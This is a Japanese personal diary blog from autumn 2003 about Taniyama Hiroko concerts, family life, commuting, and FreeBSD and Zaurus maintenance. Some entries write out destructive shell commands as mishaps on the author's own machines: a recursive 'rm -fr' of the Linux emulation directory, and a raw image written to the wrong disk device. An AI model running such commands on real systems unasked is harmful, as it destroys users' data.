9時半頃家を出て小田急と中央線で東京へ。定期があるので東海道線を使うよりこの方が安いのです。12時頃のこだまに乗って、ほとんど寝ながら 4時間かかって新大阪に到着。去年は新大阪とは大阪の横にある新しい駅と思いはまったが、今年はちゃんと大阪駅に直行(横浜と新横浜だって全然違う場所にあるのだから分かりそうなものですが^^)。で、予想通り大阪で道に迷って、二人くらいの人に道を訪ねてやっと ON AIR OSAKA に到着したのです。やはり時間に余裕をもって到着したのは正解でありました。
肝心のコンサートですが、いつものことながら素晴らしかったのです。一つだけ書いておきますと、浩子さんは猫森の時のような夢心地モードでして、このモードの場合演奏が特に良い、ということが言えるような気がするのです。曲目はリクエストが「夕暮れの街角で」「MOON GATE」「海の時間」だった以外は名古屋公演と同じです。
@FreeD in 新幹線
去年の大阪や名古屋遠征は AirH" だったのですが、今年は @FreeD を持って遠征なのです。それで使用感なのですが、去年のことなど余り覚えていないのであてにはならないのですが、
- AirH" の場合は動いているときでも多少使用可能であった
- @FreeD は駅に止っている時以外は絶望的
という感じなのです。うーむ、都心部を電車でちんたら走っている分には余り違いを感じませんでしたが、新幹線で使用する場合 AirH" の方がやや優勢かな～、という感じなのです。まあどっちにしてもほとんど使い物にならないことには違いないのですが...(^^。

2003年11月1日(土)

小枝の悲劇
今日は奧さまが卒業した大学の文化祭のお手伝いで一日外出、ということで子供達と家でごろごろしていたのですが、お菓子でも食べたいな～、ということでその辺りの袋をあさっていたら、うまいこと小枝の箱が出てきたのです。丁度二女は遊びに出ていたので、長女とモカに「二女の分とっといてねー」と言って、私は半分ずつ入っている仕切りの片側の 1/3 位食べたのです。

で、夕方になりまして二女が帰ってきたので、片側の仕切りがまだ空いていないのを確認したつもりで、「小枝あるから食べていいよ～」と言ったのですが、そのときのモカの衝撃の発言が、
「二本しか残っていないよ～」(^^;;;
うううっ、上の写真の様な状況になっていたので、てっきり左側は空いていないと思ったのですが、実は二人でほとんど食べちゃったのですねー(^^。もう二女の怒ること怒ること。こんなことになるのなら残りの二本を食べて箱を捨ててしまえばよかった(殴)。で、ほとほと困り果てまして、結局近くのローソンにもう一つの小枝を買いに行くはめになりまして、二女は一箱全部せしめることになったのであります。

2003年10月31日(金)

まぬけバージョンアップ
えーっと、昨日は土曜日にでも FreeBSD-4.9 にバージョンアップすると書きましたが、実は本日の未明に行ったのです(^^。自宅サーバーが動かなくなると非常に面倒なので、いつもの手順通りまずは X24 で cvsup && make world を試してみまして、問題なくバージョンアップが出来たので、こんどは R30 の方も make world と kernel の再構築インストールまで仕掛けて寝たのです。
それで朝起きてみますと、首尾よにコンパイルとインストールが終わっていたので、「やれ良かったな～」と安心したのですが、眠かったのでリブートはしないで家を出て、藤沢駅でザウルスからログインしてリブートをかけたのです (おい^^)。幸い 2分位でまたザウルスからログイン可能となりまして、大成功だ～、と喜んで dmesg の内容を確認したのですが、なんと、
FreeBSD 4.9-RC #0: Fri Oct 31 04:57:46 JST 2003
なのです。むむむっ、どうして RC が付いているのだろう(^^;。いやはや、これは cvsup を忘れて make world しちゃったに違いないですねー。なんか最近まぬけさに磨きがかかってきたような気がします(^^。

2003年10月30日(木)

電車がとまる
今日の朝、小田急線で目的駅(登戸)に到着する 5分前に「人身事故のため停止」で、なんと 40分も止ってしまいました。むむむっ、あと 5分後だったら問題なかったのに運が悪いですな(-_-)。で、座っていたのでまだ良かったのですが、電車というのは動いていると「ゆりかご効果」で良く眠れるのですが、止ってしまうといらいらするだけで眠れないのですねー。さらに悪いことにザウルスを昨日会社に忘れてしまったので、ノートに書き物でもをしようかな～、と思ったのですがペンも忘れておりまして、非常に退屈な 40分だったのであります。
FreeBSD-4.9
最近忙しくて FreeBSD-users-jp 関連のメールは読んでいなかったのですが、たかたにさんのページによりますと、FreeBSD-4.9 がリリースされたそうです。今までセキュリティー問題が発生した場合 cvsup して make world を行っていたので、現在の (X24,R30)環境は FreeBSD-4.9RC となっていまして、あんまり変化はないと思うのですが、土曜日位に cvsup しようと考えています。ちなみに私が cvsup を行う場合 /etc/ の環境は、「問題があったらなんとかする」という偉大なるポリシーなので、たまにはまることがあったりします(^^。
ところで cvsup しないであえて CDROM からインストールしようとされたココロはなんなのだろう(^^。

2003年10月29日(水)

X24 購入一周年
という訳で、X24 を衝動買いしてから丁度一年が経過したのです。先日書いたように予想以上の大活躍してもらっているのですが、今日からは壊れてしまった場合有料修理なのですねー(もしかして英語キーボードにした段階で有料？)。IBM 製品には SONY タイマーの様なしかけは組み込んでいないと思うのですが、なんせ通勤中以外は電源を入れっ放しで、しかも毎日持ち運んでいるのでいつ壊れても不思議はありませんが、現在の性能で全く問題ないので、出来ればあと 2年位は使いたいと考えています。ちなみに私は意外と PC 運が良くて、自分がメインに使用している PC が致命的に破損したことはない (ヨーグルト破損を除く^^) ですし、ハードディスクのクラッシュも体験したことがないのです。もちろんそれなりにバックアップをとってはいるのですが、一般の人よりは安易に考えているかも知れません。それはそうと、万が一 X24 が壊れてしまった場合なのですが、開発にも使用しているので修理に出している間どうやって生活するかが問題なのです。案としては、
- このページ実体をアイ・ネット・ディに戻して自宅サーバーの R30 を持ち歩く。
  R30 と X24 はほとんど同じ環境になっていますし、アイ・ネット・ディでも PHP が使用できます。ご家族様のメールアドレスも大部分はアイ・ネット・ディ経由で自宅に届くように登録してあるので、修理期間中程度はしのげそうです。
- なんにもなしで我慢する。
  会社の Linux マシンにも開発環境が入っているのでこの選択も考えられます。
- 新しいのを買う(^^;。
  いやいやそんなぜいたくなことは...。そもそも最近イベントにお金を使いすぎて、極度の金欠だったりします。
おそらく最初の案が採用されるとは思いますが、衝動的に最後の案を採用してしまったらどうしよう...(^^。

2003年10月28日(火)

整数・一変数多項式・単因子
えーっと、有利整数環と可換体上の一変数多項式環は「整除性」を持つことを通じて、両方とも単項イデアル整域(主イデアル環)となることを説明しまして、この様な場合成立する単因子に関する定理を述べる予定だったのです。さらに単因子を通じて、
アーベル群の基本定理と代数閉体上の行列に関する Jordan 標準形は実質同じもの
ということを説明して、一見なんの関係もなさそうな定理が深いところで繋がっていることを書きたかったのですが、かなりの前準備が必要なのと、どうせだれも読んでくれそうにないので、このねたは「おくらいり」となりそうなのです(^^。

2003年10月27日(月)

惑星玉
下の写真は東大卒博士の H さんが持っていた火星玉。面白そうなので「どうやって作ったの～」、と聞いたところ直径 10cm の発砲スチロール玉を調達し、さらにこちらやこちらから展開図をダウンロードして作ったとのこと。むむむっ、これはなかなか面白そうですな。こんどおうちでもやってみよ。ちなみに H さんはこちらのちょっと変った金属や石の収集もお好きでして、彼の机にはいろいろ面白いものがたくさん置いてあるのです。

＃土星のわっかは難しそうです(^^。

2003年10月26日(日)

ご家族さま写真削除システム
前に作ったご家族さま写真閲覧システムなのですが、一日撮ってきた写真をまとめてその日付のディレクトリにほうりこんで、コマンドを一つ入力すると自動的に閲覧画面が生成されるのです。それは良いのですが、なんせ「下手な写真も数打ちゃあたる」というわけで、一日に撮ってくる写真の枚数はかなり多く、その中で後々まで保存したいというのはごく一部なのです。というわけで、写真を削除する必要があるのですが、量が多いのと、写真のファイル名が連番なので、「この写真はいらないな～」とメモって後で消したりするのはとても面倒なのです。

p10010236.jpg

...

そこで写真のサムネイルにチェックボックスを付けまして、それらをクリックして「削除ボタン」を押した場合削除リストが画面に表示される様に CGI を変更したのです。実際に削除を行う訳でないのですが、画面で選択した削除対象写真のリストが表示されれば、それをコピーして
$ cat removefile | xargs rm -f
とかやれば綺麗になくなってくれるので、なかなか便利になったのであります。ちなみに上の写真は絶対に削除致しません^^。

2003年10月25日(土)

大失敗した Linux Emulator Library 入れ替え
FreeBSD には Linux Emulator という仕組が実装されていまして、Linux の通常のバイナリーがほとんど速度低下なく実行可能なのです。実装自体は実行中の Linux プロセスからシステムコール(即ち例外)が発生した場合、それをトラップして等価な FreeBSD のシステムコールの組み合わせ(ほとんどの場合一つ)を実行するので、システムコール以外の数値計算等のスピードが落ちることは全くありませんし、システムコールも FreeBSD の実装の方が高速な場合、 Native な Linux より高速な場合もありうるのです。
ちなみに、実行環境としてのLinux プロセスがファイルを検索する場合、 /usr/compat/linux/ を / と考えてファイルを見つけようとします。例えば Linux プロセスが /usr/bin/gcc を検索しようとするとまず /usr/compat/linux/usr/bin/gcc を探しに行きます。そこで発見できない場合 /usr/bin/gcc を探すという案配でこのあたりを考えてバイナリーをインストールしないと大変な混乱のもとになる場合があるのです。
前置きはこのくらいにして本題なのですが、いくら Linux Emulator が実装されているといっても /lib(/usr/compat/linux/lib/) や /usr/lib(/usr/compat/linux/usr/lib/) の基本的な shared library がなければ static link されたプログラム以外は動作できない訳でして、 /etc(/usr/compat/linux/etc/) 等の基本的な実行環境も必要となる場合があるのです。これらの環境は ports として提供されていまして、私が使用しているのは RedHat 系の linux_base という ports なのですが、半年くらい更新していないな～、ということで本日最新の ports に入れ替えたのですが、単に入れ替えれば良かったのに綺麗な環境にしようということで、
# rm -fr /usr/compat/linux/
としてから更新作業を行なったのです。更新自体は特に問題なく順調に終了し acroread 等、普段 Linux Emulator のお助けで使っているアプリケーションも無事に動作したのです。
ところがその後、仕事で使う arm-linux 用に書いたプログラムをコンパイルしたら、
コンパイルがまったく出来ません(-_-)
しまったー。arm-linux-gcc 等のコンパイル環境は Linux Emulator で動作して、しかも始めに書いた理由で /usr/compat/linux/usr/bin/ 以下に入っているんだった～(^^;。
という訳で、仕事の道具なので「後で」という訳にもいかず、泣く泣く arm-linux-gcc 関連の開発環境を再インストール(これが結構面倒い)したのです。FreeBSD で arm-linux の開発をするのが変態、というノイズも聞こえて来ない訳ではないのですが、Linux(というか一般のデストリビューション) はいまいち好きになれず、メインの開発環境にする気分にはならないのです。

2003年10月24日(金)

代休出勤
毎日11時過ぎに帰宅して6時半に家を出る生活でさすがに今日は寝坊(^^。というわけで、もう一日残っていて期限切れ間近の代休を行使して 11時頃に出勤だったりします。
いまいち集中できないので結局 15時半ころ退社(^^。

2003年10月23日(木)

大活躍の X24
遊びに仕事にとても役に立っている X24 なのですが、最近の活躍はすばらしいのです。前にも書いたようにネットワークインターフェースは、
- かがみローカル LAN 用無線 LAN インターフェース(インターネットへの経路も)
- 社内 LAN への内臓インターフェース。実際は上の経路から社内にも行けるのですが、このインターフェースはバックアップ等、高速な伝送が必要な場合使用します。
- 開発中組み込み機器に対するインターフェース。これは PCMCIA カードを使用します。かがみローカル LAN を使用しても良いのですが、組み込み器機の場合出荷時のアドレスが固定の場合が多く、そのアドレスで開発しないと他の人に渡したりするときに混乱の元になるのです。
それからシリアルポートは USB/シリアル変換装置を繋いで、組み込み器機のコンソールに繋げます。さらに CF のコピーを作成する場合が多いので CF インターフェースも多用しまして、ほとんどのインターフェースを使用していることになります。X24 を購入してもうすぐ一年ですが、これだけ使い込むことができ、日記を書いたり、インターネットをうろついたり、デジカメから写真を取り込む場合にも使用しているので、個人的には十分な投資効果があったと考えています。

2003年10月22日(水)

大阪・名古屋遠征大作戦
猫森が終わったと思ったら今度は大阪・広島・名古屋・福岡公演の日が近づいてきました。私は日曜の日帰りならなんとか、ということで 11月2日の大阪と 11月9日の名古屋に行く予定なのです。大阪からの帰りは「のぞみ」の終電以外選択肢がなく、名古屋は良く分からないのすが、調べるのが面倒なので、やはり「のぞみ」(終電ではない)の切符を確保しました。行くときですが、飛行機は面倒そうなので新幹線を利用するのですが、どうせ電車に長く乗るのは慣れているので、昨年 J 氏に教えて頂いた JR 東海のこのプランを利用して「こだま」でのんびり行くことにしました。こちらも切符は確保済です。
ちなみに今日は一月前の休日出勤の代休の期限なので、休みをとって午前中は新幹線の切符を取りにいったのですが、いろいろやることがあって午後からは会社だったりします(^^。

2003年10月21日(火)

2日で 20行
最近割と忙しいのですが、昨日と今日で書いたプログラムがたった 20行(^^。いやはや亀のようなあゆみであります。ただし試行錯誤の末割と気に入ったアルゴリズムを思いついて実装できたので、無駄な時間ではなかったのです。もともと 100行くらいにみずぶくれしたのが気に入らなくって、「これはアルゴリズムの設計がわるいのでは」と色々考えていたら突然良いアイディアが浮んで実装したら 20行に目減りしたのであります。

2003年10月20日(月)

くまそはにわ
下の写真は一昨日モカがサイエンス倶楽部で「蒸気の力」という題材で作ってきたものでして、はにわの腕みたいのが管になっておりまして、そこから少量の水を入れて、上の糸で吊り下げて火の上に持っていくと、管から蒸気が出てきてその力でくるくる回るのです。うーむ、お父さんよりハンダ付が上手ですな(^^。もちろん写真の下になっている蓋の部分は空けないのです。
ところで缶を見ますと、これが大嫌いな佐冶熊襲発言(＊)のサントリーなのですねー。おうちでは絶対にサントリーの飲料は飲まないのですが、もしかして穴を空けたとき飲んでしまったの～、と聞いたら全部捨てたとのこと(^^。よろしいよろしいそれでこそ私の娘(というかサイエンス倶楽部の先生)。というわけで、正式には「エオリビル」という名称なのだそうですが、おうちでは「くまそはにわ」という意味不明な名前で呼ばれているのです。

(＊)サントリーの佐冶会長が「東北は熊襲の産地で文化レベルが低い」と発言したこと。ちなみに文化レベルとは関係なく熊襲は九州地方の産。本当に文化レベルが低いのはサントリーという会社であります。

2003年10月19日(日)

繋がらなくなったたかたにさんのページ
毎日おじゃましているたかたにさんの赤ずきんちゃちゃページなのですが、昨日からずーっと繋がらなくなってしなったのです。木曜日に NAT 箱なる怪しげなものをつくられるというアナウンスがなされていたので、きっとはまっているのだろうな～、と思っていたのですが今日になっても繋がりません。このような場合 DTI の方にに「メンテナンス中」なる告知がでる場合が多いのですがそれも出ていないのです。むむむっ、ついにノートサーバーが壊れてしまったのか、~~面白いな～~~ お気の毒だな～(^^、などと考えていたのですが、たかたにさんの方からは普通通りおうちにアクセスがあったりするのです。これはいくらなんでもおかしい、普段の行いが悪いので NAT 箱でアクセス禁止になったのかとか思いましたが、そんなことを行う方でないことは重々承知なのです。
全然らちがあかないので、たかたにさん秘蔵の「全部.html」をレンタルサーバーから吸い上げてみますと、なんと告知されていた NAT 箱の苦労話がたくさん書いてあるのですねー。で、実は昨日から Mozilla だけでアクセスしていたのですが、試しに w3m でアクセスしたら、
全く問題なくアクセス可能(^^
なのです。いろいろ調べた結果、
- Mozilla プロキシーなし --- だめ
- Mozilla プロキシーあり --- よし
- w3m プロキシーなし --- よし
- w3m プロキシーあり --- よし
ということでして、プロキシーありなしで変化するなら分からないではないのですが、Mozilla の場合だけうまくゆかないのが謎だったのです。うーむ不思議だー、ということでついに tcpdump の出番となったのですが、まずは Mozilla のプロキシーなしの場合は、
```
su-2.05b# tcpdump -i wi0 port 80
tcpdump: listening on wi0
17:35:46.783261 moka.evariste.dd.que.ne.jp.3926 > \
PPPbf301.osaka-ip.dti.ne.jp.http: S 3889860985:3889860985(0) win 65535  (DF)
17:35:49.778102 moka.evariste.dd.que.ne.jp.3926 > \
PPPbf301.osaka-ip.dti.ne.jp.http: S 3889860985:3889860985(0) win 65535  (DF)
17:35:52.978150 moka.evariste.dd.que.ne.jp.3926 > \
PPPbf301.osaka-ip.dti.ne.jp.http: S 3889860985:3889860985(0) win 65535  (DF)
```
ということで SYN に対して SYN/ACK の応答がありません。w3m プロキシーなしの場合は、
```
su-2.05b# tcpdump -i wi0 port 80
tcpdump: listening on wi0
17:36:58.011854 moka.evariste.dd.que.ne.jp.3928 > \
PPPbf363.osaka-ip.dti.ne.jp.http: S 4217048333:4217048333(0) win 65535  (DF)
17:36:58.049490 PPPbf363.osaka-ip.dti.ne.jp.http > \
moka.evariste.dd.que.ne.jp.3928: S 179790785:179790785(0) ack 4217048334 win 65535  (DF)
17:36:58.049620 moka.evariste.dd.que.ne.jp.3928 > \
PPPbf363.osaka-ip.dti.ne.jp.http: . ack 1 win 32947  (DF)
```
ということでちゃんと SYN/ACK の応答があるのです。むむむむむっ、おんなじ様なパケットを投げているのにどこが違うんだろう、とよくよくみると送り先のアドレスが違うのですね─(^^;。Mozilla の場合 PPPbf301.osaka-ip.dti.ne.jp で、w3m の場合 PPPbf363.osaka-ip.dti.ne.jp というわけでこれでは繋がる訳がありません。思うに Mozilla の場合自前で DNS キャッシュを持ってしまい、接続先のアドレスが変化した場合は(Mozilla を)再起動しないとだめなような気がするのですが詳細は不明なのです。いずれにしても、Mozilla を再起動したところプロキシー無しでも問題なく繋がるようになったのであります。
＃教訓 Mozilla はたまに再起動してあげよう(^^;。

2003年10月18日(土)

プリン
今日はモカがサイエンス倶楽部に行く日で横浜に一緒に行こうと誘われたのですが疲れていたのでパス。奧さまがおいしそうなプリンを買ってきてくれました。ちなみに 480円でほとんどが容器代と推測されます。

2003年10月17日(金)

ちょんぼ多数
今日はちょんぼの連続だったのです。まず昨日のところに書いてある printf ねたは、本当は今日の日付でアップするはずだったのに、一日間違えてしまいました。むむむっ、ただでさえねた不足なのに一個損した感じだ(^^;。で、その他のちょんぼ。
- 朝電車で一駅行きすぎた。
- #define abs(x) ((x)>=0 ? (x):(-(x))) と定義してあって、abs(f(...)) と書いたが、 f は副作用がある関数であった。f が意図せず 2回呼ばれて一時間のはまり。
- この前もやったが、X24 に繋がっている組み込み用のコンピュータをリブートしようとして、X24 をリブートした。
- CF にイメージをコピーをしようとしてデバイス名が /dev/rad8 なのに /dev/rda8 と間違えて(cat image >/dev/rda8) / ファイルシステムをぱんくさせた。それにしても FreeBSD の ad と da は紛らわしいですなぁ。
- うっかり一行削除して今まで動いていたプログラムが動かなくなり、ハードが壊れたと思った。CVS がなかったら危ないところであった。
という案配でしてやはり少々疲れがたまっているようなのであります(^^。ちなみに、昨日の printf ねたの警告も -Wall 等の時の話でして、デフォルトでは出ない様です。ただし個人的には -Wall 指定でもそのような警告を出すべきでないと考えています。

2003年10月16日(木)

printf の警告
最近の gcc は printf 関数のフォーマット部分と引数のミスマッチがあった場合に警告を出力するようになっています。例えば、

printf("%d\n",hoge); /* hoge は long 型 */

printf("%ld %d\n",hoge); /* 引数の書き忘れ */

等の間違いです。確かに便利でして、この警告に救われたことも数限りなくある(今日も^^)のですが、本当は気に入らないのですねー。
printf 関数は良く使われますし、ANSI で定義された標準ライブラリーに含まれていることは確かなのですが、C 言語とはなんの関係もないと思います。さらに、コンパイラが printf 関数のフォーマット書式という「文字列の内容」に関与することも大きな誤りだと考えます。最近は便利であれば基本の概念を無視してよいという傾向が多いような気がするのですが、こういう考え方は個人的には好きになれないのであります。
今日(17日未明)も午前様
うーむ、本格的に忙しくなってきましたな。今週は 6時半に家を出て、零時過ぎに帰宅のパターンなので、猫森のときより時間的に厳しい生活を送っていると思うのですが、案外疲れません。理由としては、
- 新宿への往復がない
- やはり二時間ほとんど動かずに座っているのは疲れる
等が考えられます。もちろん仕事より猫森の方が集中度が高かったということは...(^^。

2003年10月15日(水)

電車ではまる
なんか昨日は </a> が抜けていたような気がするのですが、今日は電車ではまったのです。私、藤沢駅から小田急線で登戸にでまして、登戸から南武線で分倍河原まで通勤しているのですが、今日は少々早めに家を出まして、7 時45分頃登戸に到着したのです。

藤沢 ---> 登戸 ---> 分倍河原

小田急線南武線

そこで南武線に乗ったのですが、いつも混んでいるのに今日はやけにすいているのですねー。これは座れてらくちんらくちんとさっそく考え事などしていたのですが、そうしているうちに聞いたことがある駅名が呼ばれまして、やれやれやっとついたいな～、と降車したのであります。ところが駅の外に出るとなんか様子が変なのです。あれれれ、見覚えがある駅だけどいつもと違う(^^。 30秒くらい状況がつかめなかったのですが、なんとその駅は出発した登戸 駅だったのです(^^;。
いやはや、登戸から近くの駅で折り返す電車に乗ってしまって、みんな降りたときに気が付きそうなものなのに、気が付かないで戻ってしまったのですねー。まだ猫森の疲れが完全にはとれていないようで(^^。
＃ちなみに 8時20分頃に会社に到着するつもりだったので、
＃遅刻は免れたのであります。

2003年10月14日(火)

意外と好評日記の目次
今日(15日未明)は午前様。さすがに先週定時で帰ったしわ寄せが(^^。本題に入りまして、ねたがなくて仕方がなく作った日記の目次なのですが、思いのほかアクセス数が多いのです。特に検索でこられた方がキーワードを調べるために使用される場合が多いようなのです。もっとも、私自身が自分の日記にリンクを張るとき一番重宝しているのは内緒だったりします(^^。

2003年10月13日(月)

ごろごろ
昨日もおとといもそうだったのですが、今日はさらにごろごろとだらいしない生活なのです(^^。明日から日常生活に復帰なのですが、脈絡なく奧さまが買ってきたワイルドストロベリーの写真。育てると恋人ができるそうな。

2003年10月12日(日)

続・ザウルスさまのお怒り
このページを読んで下さっている方から教えて頂いたのですが、 SL-B500 用のシステムが 1.50JP にアップされていまして、それをインストールすれば SD を正しく読めるようになるかもしれない、ということなのです。そこでさっそくインストールを行ったのですが、インストールには SD カードが必要でして、さすがに現在使用中のは恐いので、デジカメから抜き取ったのを使用したのです。アップデート自体は無事に成功し、さらに SD カードの内容も見えるようになったので、「これはうまくいったのかいな～」と思って Mew を動かしてみたのですが、読み込めないファイルが残っているようでして残念ながら起動できませんでした。SD カードリーダーでチェックするとちゃんと全部のファイルが読めるので、やはりハード的にザウルスと相性が良くなかったのが最近特に悪化した感じです。おそらくデジカメの SD カードと現在ザウルスで不調の SD カードを交換すればすべて丸く収まるような気がするのですが、一度調子が悪いのを見た SD カードをデジカメで使うのもちょっと、ということでいろいろと悩みは多いのであります(^^;。
いずれにしても教えて頂きましてどうもありがとうございます。
十進数を二進数に変換
という検索はずれがたまに来るのですが、おそらく検索された方は勘違いされていると思うのでして、こんなことは普通行いませんしちょいと面倒なのです。多分、
数を二進数で表現する方法
のつもりだと思うのですが、抽象的な概念で見ることも触ることも出来ない「数」と、その表記としての「n 進数」の違いというのは認識されにくいのでしょうか。

2003年10月11日(土)

ザウルスさまのお怒り
本当はこの事件は 10日くらい前に起ったのですが、なんせ猫森が忙しすぎて書く暇がなかったりしました。二週間ほど前ザウルスで遊びすぎて余りに目が疲れるので、自粛しようと書いて実際あんまり使わなくなったのですが、どうもそれでザウルスさまがお怒り(=_=) になったようでして、Mew が起動しなくなってしまったのです。正確には Emacs の本体は起動するのですが、「なんとか.el」が読み込めないということで、Mew を使うことが出来ないのです。Emacs の本体は、内部のメモリーにインストールして、.el のたぐいは SD カードにインストールしたはずなので、これは SD カードが調子悪くなってしまったのだろうなー、ということで
zaurus# ls -l /mnt/card/
と打ち込むと確かになんにも表示されないのです。ただ mount 自体は出来ているのが不思議なのです。さらにこの SD カードを抜いて X24 に繋げた SD リーダーに読み込ませるとちゃんとファイルが入っているのですねー(^^;。うー、ザウルスの SD インターフェースがへんてこになってしまったのか、SD カードとの相性が悪いのか、いろいろ実験してみる必要がありそうなのですが、最近 WWW をうろつくのと、使い捨てメーラーとして以外使用していないので、面倒で調査していない状態なのであります。
あんなにカスタマイズしたのに、現在は買ってきたままの状態で使用しています(^^。

2003年10月10日(金)

猫森集会楽日

今日が最終日だということで、ちょっと淋しい気分で新宿のスペースゼロへ。今年の猫森の浩子さんは去年に増して充実していたと思います。特に今日はリラックスしている感じて、浩子さんの話によりますと夢心地ということだったのです。その気分がこちらに伝わったのか、今日はとてもリラックスして聴くことができ、一曲一曲の印象よりも全部聴き終わった時の充実感が強かったのですが、演奏としては最後の「学びの雨」が一番印象に残っています。個人的には A プログラムの 2日目と今日の演奏が一番好きだったのです。

曲名備考

真夜中の太陽オープニング

ピエレット励まし

MOON SONG

意味なしアリス「宇宙の子供」より

よその子

扉漢字一文字

卵

仇

ソイトゲヨウ歌・拝郷メイコさん

赤い靴拝郷メイコさんと重唱

月と恋人

会いたくて少年の失恋

花野漢字二文字

神様

王国

学びの雨終曲

ドッペル玄関アンコール

鳥は鳥におまけ

昨日の曲目は「おまけ」以外は全部同じです。

2003年10月9日(木)

猫森集会七日目
23時半頃に家に着いて、1時頃寝て、朝 6時に起きる生活も大分疲れてきたのですが、明日が最終日だと思うととても淋しいのです。

2003年10月8日(水)

猫森集会六日目

意表をついたオープニングの「フニクリ・フニクラ」で始まったオールリクエストなのですが、下の曲目をご覧になるとおわかりのように、なかなか絶妙な選曲なのです。まずはストーカー歌説もあるという「うさぎ」でうっとりしまして、次の三曲「穀物の雨が降る」「まっくら森の歌」「よそこ子」でやられました(^^。その後はうっとりモード(ちょっと眠かった^^)で実はあんまり覚えていないのですが、最後の三曲の「ガラスの巨人」「沙羅双樹」「カイの迷宮」がとても美しかったのをぼんやりと記憶しております。昨日はちょっと不本意だったのですが、今日は最高のコンサートだったのです。

曲名備考

フニクリ・フニクラオープニング

うさぎ

穀物の雨が降る

まっくら森の歌

よその子

風の子供

さよならのかわりに

イマージュ

なつかしい朝

時計館の殺人

ガラスの巨人

沙羅双樹終曲

カイの迷宮アンコール

マル廃ゲーマーズ
谷山浩子さんの本で「マル廃ゲーマーズ」(「マル廃」は丸の中に廃)というのがあるのですが、先日の会社のレイアウト変更でこんなのを使ったのです。頭にはっつけていけば目立つよ～、という声もあって確かに目立つとは思うのですが、さすがにそこまでばかなことは出来ないのであります。
＃猫耳をつける勇気もないです(^^。

2003年10月7日(火)

猫森集会五日目

今日は最前列で浩子さんを近くから見ることができる今回の猫森で一番よい座席でした。浩子さんの歌はきっとすばらしかったのだと思います。リクエスト曲目も全体的に地味でしたが、よい曲もたくさんあったようです。
でもお隣の人が一曲目演奏中にずーっとメモをとり続けて、「えっ、また迷惑な人が隣に」と思った瞬間私の集中力は切れて、その時点で今日のコンサートは終了してしまったのです。

曲名備考

かくれんぼするエコーオープニング

恋人

冬の果実

パステルウェザー

恋するニワトリ

夜のブランコ

花時計

サーカス

星のマリオネット

ただ風のために

沙羅双樹

手品師の心臓アンコール

2003年10月6日(月)

猫森集会中休み
今日は中休みなのです。ところで昨日の隣の席にいた人は、演奏中に少々体を動かす位ならば良いのですが、足踏みをしてそれがとても響くのですねー。それで最初の大好きな三曲は全然集中できず(-_-)。体を動かす程度なら目を閉じるという防御方法があるのですが、どしんどしんとやられては本当に困ります。気まずい雰囲気になったり、逆切れされるのもいやだな～、と思ったのですが、せっかく音楽を聴きに来たのにこれでは全然楽しめないということで、３曲目が終了した後「誠に申し訳けないのですが、とても響くので足踏みはやめて頂けませんか」と言ったところ、特に不愉快そうな顔もせずやめてくれたのですが、自分一人で聴いているのではないということが分からないのですかねー。小さいお子様の方がよほどちゃんとしていますね。
やっと止った詐称サービス
こちらの記事によりますと、 VeriSign 社が ICANN の命令を受けて、サービスと称して虚偽の DNS 情報を返す愚挙を一時的にとりやめた様です。本来この様なインターネット破壊行為を行う企業からはレジストリの権限を剥奪するべきだたと考えますが、それはなかなか難しいのでしょうな。

2003年10月5日(日)

猫森集会四日目

今日は目が覚めたらお昼過ぎ(^^。その後ごろごろして、16時半頃に自宅を出発して 17時の小田急の特急で新宿へ。ハワイアンギターと浩子さんの歌というのはちょっとミスマッチではないかと思ったのですが、実際に聴くとそんなことはなく、ギターとシンセとピアノが見事に調和したとても美しい演奏だったのです。どの曲が良かったというより、全体の構成というか調和が素晴らしいな、という印象を受けました。

今回の猫森前半はそんなに前の座席ではないのですが、丁度浩子さんがピアノに向かって歌っているとき正面から見ることができて音響もよろしい、というなかなか良い場所が多かったのです。それでその方向から見ますと、浩子さんの演奏中の表情がとても幸せそうだったのが一番印象に残っています。実は今年始めの京都で、浩子さんが「晩年のホロヴィッツの境地に至りたい」という話をしていたのですが、ホロヴィッツというピアニストは若い頃とても神経質で苦し気に音楽を表現する場合が多く、それが大きな魅力の一つだったのではあるのですが、晩年は演奏時の表情がとても幸せそうで、音楽の表現もとても幸福感あふれるものとなったのです。浩子さんの目指している音楽も、自分や共演者・聴衆が音楽を通じて完全に一体となる幸福感を味わう様なことかな、と勝手に想像しているのですが、今回の猫森では去年に増して共演者や AQ さん、聴衆との音楽的な一体感が深まっているように感じました。

それで例のごとく曲名(^^。

曲名備考

鳥籠姫オープニング・不審人物

森へおいで森の不審人物

Elfin

ただ風のために IMEHA のイメージ

風を忘れて

あそびにいこうよ！自分勝手な人に振り回される

ひとりでお帰り

おやすみ

SORAMIMI 同一の内容を女性の視点から

きみはたんぽぽ男性の視点から

BLUE BLUE BULE 照明さんに優しい曲

青色帽子ツアー

時の回廊 (漢字一文字) + の + (漢字二文字)

銀の記憶

夢の逆流

海の時間終曲

DOOR アンコール

ちなみに、昨日の段階で「自分勝手な人に振り回される」シリーズの「あそびにいこうよ！」は意味が分かったのですが、「ひとりでお帰り」と「おやすみ」は全く意味不明だったのです。そう思った人が多かったらしく、本日説明がありまして、歌詞を考えるのではなく曲名を並べるのが正解なそうな(^^。

2003年10月4日(土)

モカの運動会
今日はモカ 4年生の運動会ということで、さすがに親は低学年の頃ほどは燃ないのですが、本人は結構張り切っていまして、80メートル走では一等賞だったのです(^^。

ちなみに写真を一生懸命撮っていますと本人しか見ないので、全体の流れが全く分かりません。本当は写真など撮らずにのんびり楽しんだ方が良いのかも知れません。
猫森集会三日目
モカの運動会が終わって一時間位家で休んで猫森へ出発。内容は明日書くとして、いやはや大分疲れてきましたな。なんか腰も痛くなってきたし(^^。

2003年10月3日(金)

猫森集会二日目

今日も打ち合わせ中に「ごめんなさい～」モードで退社。実は昨日の浩子さんは初日ということで緊張していたらしく、最初の方は結構音をはずしたりして、伊藤サチコさんとの重唱(お昼寝宮お散歩宮、うさぎ穴)あたりから絶好調になってきたと思うのですが、今日は最初から非常にノッテいまして、最初から最後まで息もつかせぬ名演続きの素晴らしいコンサートでした。選曲も個人的に好きなメロディーが美しい曲が多くとても楽しい二時間でした。特にアンコールの「ここにいるよ」は終曲の高揚感の後の絶妙な選曲でして、今までの音楽体験のなかでも最も素晴らしい時間の一つを過すことができたと思います。

それで曲名リストなのですが、まずは写真(^^。

で、上のが写真の内容が間違えていなければ下記の通りです。

曲名備考

もみの木オープニング

空に吊されたあやつり人形長い題名

わたしは淋しい水でできている

水玉時間板倉文さんにアレンジしてもらった曲

渚のライムソーダ

さかなの言葉おさかな(生臭^^)シリーズ

SAKANA-GIRL

小さな魚

さようなら、木伊藤サチコさん

お昼寝宮お散歩宮伊藤サチコさんと重唱

うさぎ穴

